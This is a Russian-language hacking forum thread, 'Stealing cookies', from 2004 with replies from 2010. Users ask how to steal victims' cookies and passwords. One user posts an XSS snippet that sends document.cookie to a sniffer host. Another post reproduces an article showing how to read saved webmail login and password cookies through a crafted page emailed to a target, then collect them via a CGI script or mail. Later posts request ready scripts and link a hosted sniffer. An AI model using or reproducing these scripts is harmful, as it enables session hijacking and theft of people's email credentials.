Крадем cookies

Discussion in 'Песочница' started by Стольник, 18 Apr 2004.

  1. Стольник

    Joined:
    21 Mar 2004
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Я нашел статьи, как стереть cookies у жертвы. А есть способы украсться cookies у жертвы?
     
  2. Стольник

    Joined:
    21 Mar 2004
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    "Прочитав cookie, HTML-файл или запрашивает у пользователя разрешение отослать информацию взломщику, где пользователя можно обмануть ложной надписью а ля "Ошибки в сценариях Javascript!". Даже довольно опытный пользователь не задумываясь нажмет OK, после чего login и пароль отошлется взломщику."

    Как?
     
  3. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    < script>
    var i=new image;
    i.src='адрес снифа'+'?'+document.cookie;
    </script>
    Скрипт высылает куки на сниффер ...
     
  4. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Ява скрипт в этом случае не подходит

    var cook=show_all_cookies();
    document.open("cookies",cook);
    document.write('<form
    onsubmit="javascript:window.close();"
    method=post action="mailto:твое_мыло@mail.ru"
    ENCTYPE="text/plain"><+'?'+document.cookie;><input type=submit
    value="Нажмите что бы
    закрыть"></form>')
    </script>
    Этот скрипт ничего тебе не пришлет. сам понимаешь почему... я тут на хакере вот что нашел:
    <span style='color:green'>Ты когда-нибудь задумывался о безопасности почты на основе WWW-Интерфейса? Скорее всего нет. А если и да, то скорее всего на масли тебя натолкнул какой-нибудь журналист, сказавший что хакеры (а по его словам это гении компьютерного мира, и вообще при одном их виде надо падать и бояться :]) взломали xxxmail.xxx. Но ты не обратил на это сообщение особого внимания, а зря.

    По статистике большинство юзверей, которые пользуются мылом через свои любимые браузеры, очень ленивы и рано или поздно им надоедает вводить пасс и логин. Для таких людей создатели почт предлагают использовать всякие фишки по автоматическому заполнению паролей и логинов. Возникает интересный вопрос: как сервер узнаёт кто пришел и чем заполнить форму? В большинстве случаев ответ - Java+Cookies, так как эта технология поддерживается большинством браузеров (таких как Internet Explorer, Opera, Нетшкаф and so on ...).

    Возникает проблема: как достать эти кукисы? Это сделать ОЧЕНЬ просто :). (намного сложнее заставить юзера посмотреть attachment :[ ). Давай рассмотрим это на примере какой-либо службы... Да чего долго ходить можно посмотреть и на mail.xakep.ru :). Зарегистрировавшись, получаем &quot;ясчик&quot; (и обращаем внимание на radio-button (переключатель) с надписью &quot;Свой компьютер(запомнить имя и пароль)&quot;). Ну что? Пусть запомнит пасс и логин (допустим, что мы часто здесь бываем и оооооочень ленивы). При последующей загрузке страницы мы видим введенные данные и нам остаётся только входить и радоваться жизни. Интересен код страницы аутентификации. Этот кусок отвечает за то самое сохранение пасса:

    &lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
    <!--
    --------------------------------
    function setCookie(name, value) {
    var expire = &quot;0, 01-01-2100 00:00:00 GMT&quot;
    document.cookie = name + &quot;=&quot; + escape(value) + &quot;; expires=&quot; + expire;
    }
    --------------------------------
    function Save()
    { var sqr = 0;
    if (document.logon.sequrity[1].checked) {sqr=1;}
    if (document.logon.sequrity[2].checked) {sqr=2;}
    var name = document.logon.username.value;
    var psw = document.logon.password.value;
    var domain = document.logon.domain.value;
    if (sqr == 0) { domain=''; name=''; psw=''; } else
    if (sqr == 1) { psw=''; }
    setCookie('qmail_name', name);
    setCookie('qmail_psw', psw);
    setCookie('qmail_sqr', sqr);
    // setCookie('qmail_domain', domain);
    }
    //-->
    &lt;/SCRIPT&gt;

    Значит cookie :). На этой же паге видим как их достать:

    --------------------------
    function getCookie(Name) {
    var search = Name + &quot;=&quot;
    if (document.cookie.length &gt; 0) { // if there are any cookies
    offset = document.cookie.indexOf(search)
    if (offset != -1) { // if cookie exists
    offset += search.length // set index of beginning of value
    end = document.cookie.indexOf(&quot;;&quot;, offset) // set index of end of cookie value
    if (end == -1) end = document.cookie.length
    return unescape(document.cookie.substring(offset, end))
    }
    }
    }
    --------------------------


    &lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
    <!--
    var i = getCookie('qmail_name');
    if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.username.value = i;}
    i = getCookie('qmail_psw');
    if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.password.value = i;}
    i = getCookie('qmail_sqr') || 0;
    document.logon.sequrity.checked = true;
    // i = getCookie('qmail_domain');
    // if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.domain.value = i;}
    document.logon.username.focus();
    //-->
    &lt;/SCRIPT&gt;

    Так. Пасс и логин теперь есть у сайта. Чем мы хуже? Делаем письмо человеку, пасс которого нам нужен, и перекрепляем к нему пагу, содержащую наш пас-зиф. Код этой паги может быть изменённым сорсом этой заготовки (в первом поле ввода логи во втором пасс):

    &lt;html&gt;

    &lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
    <!--
    function getCookie(Name) {
    var search = Name + &quot;=&quot;
    if (document.cookie.length &gt; 0) { // if there are any cookies
    offset = document.cookie.indexOf(search)
    if (offset != -1) { // if cookie exists
    offset += search.length // set index of beginning of value
    end = document.cookie.indexOf(&quot;;&quot;, offset) // set index of end of cookie value
    if (end == -1) end = document.cookie.length
    return unescape(document.cookie.substring(offset, end))
    }
    }
    }

    //-->
    &lt;/SCRIPT&gt;
    &lt;br&gt;
    &lt;table width=&quot;100%&quot; border=0 cellpadding=0 cellspacing=0&gt;
    &lt;tr valign=&quot;top&quot; align=&quot;center&quot;&gt;
    &lt;td width=&quot;100%&quot;&gt;
    &lt;p&gt;&lt;/p&gt;
    &lt;table cellpadding=1 cellspacing=0 border=0&gt;
    &lt;form method=&quot;post&quot; name=&quot;logon&quot; action=&quot;http://mail.xakep.ru/cgi-bin/mail&quot; onSubmit=&quot;Save();&quot;&gt;
    &lt;tr&gt;
    &lt;td class=text&gt;&lt;input type=&quot;text&quot; name=&quot;username&quot; size=&quot;8&quot; style=&quot;width: 95px;&quot;&gt;&lt;input type=&quot;hidden&quot; name=&quot;domain&quot; value=&quot;xakep.ru&quot;&gt;&lt;/td&gt;
    &lt;td class=text&gt;&lt;input type=&quot;text&quot; name=&quot;password&quot; size=&quot;8&quot; style=&quot;width: 95px;&quot;&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;/form&gt;
    &lt;/table&gt;
    &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/table&gt;

    &lt; script LANGUAGE=&quot;JavaScript&quot;&gt;
    <!--
    var i = getCookie('qmail_name');
    if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.username.value = i;}
    i = getCookie('qmail_psw');
    if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.password.value = i;}
    i = getCookie('qmail_sqr') || 0;
    document.logon.sequrity.checked = true;
    // i = getCookie('qmail_domain');
    // if ((i != null)&amp;&amp;(i != &quot;&quot;)) {document.logon.domain.value = i;}
    document.logon.username.focus();
    //-->
    &lt;/SCRIPT&gt;

    &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/table&gt;
    &lt;/HTML&gt;

    Далее же всё зависит от твой фантазии. Можно где-нибудь в сети выложить свою CGI, которая будет принимать и &quot;обрабатывать&quot; логин и пасс жертвы, а можно, набравшись наглости, отправить от жертвы себе на мыло письмо с &quot;бесценной информацией&quot;. В общем как с тем журналом - &quot;Делай с ним, что хочешь&quot;.</span>
    Удачи
     
  5. Guest

    Guest Guest

    Reputations:
    0
    блин приколньо ))
     
  6. M4m0-NT

    M4m0-NT New Member

    Joined:
    6 May 2004
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Блин а как же интересные скрипты?![​IMG]Там сам процесс взлома...мне бы скриптов маленько плиз если не обламывает дайте[​IMG]) :;):
     
  7. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    [​IMG]2--></span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ апреля 21 2004,21[​IMG]2)</td></tr><tr><td id="QUOTE">&lt; script&gt;
    var i=new image;
    i.src='адрес снифа'+'?'+document.cookie;
    &lt;/script&gt;[/QUOTE]<span id='postcolor'>
    Чем тебе этот не нравится ?
    Если не хочешь писать сам, то заходи на
    http://www.nsd.ru/test/mail.htm
    Я его переписал под себя - очень удобно ...
     
  8. Respekt335

    Respekt335 New Member

    Joined:
    7 Jun 2010
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    А описать чо с этим скриптом делать подробно можеш?плиз!
     
  9. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,694
    Likes Received:
    3,149
    Reputations:
    236
    балуемся с кросс-сайт скриптами ? ))
    школьник впадёт в тупняк, когда всё получается на домашнем сервере, а в сети - никак.

    впрочем - может и нужно - лишь на локалке.
     
  10. nuBo

    nuBo Elder - Старейшина

    Joined:
    29 Dec 2008
    Messages:
    53
    Likes Received:
    84
    Reputations:
    53
    археологи. :rolleyes:
     
  11. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,694
    Likes Received:
    3,149
    Reputations:
    236
    XSS познаватели, чуть опоздавшие к банкету :)
     
  12. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    6 лет прошло, это не чуть чуть))) за это время жидкость, введенная в тело, начинает ходить в школу))))))))))))))))
     
    _________________________
    #12 Uex Urgent, 13 Jun 2010
    Last edited: 13 Jun 2010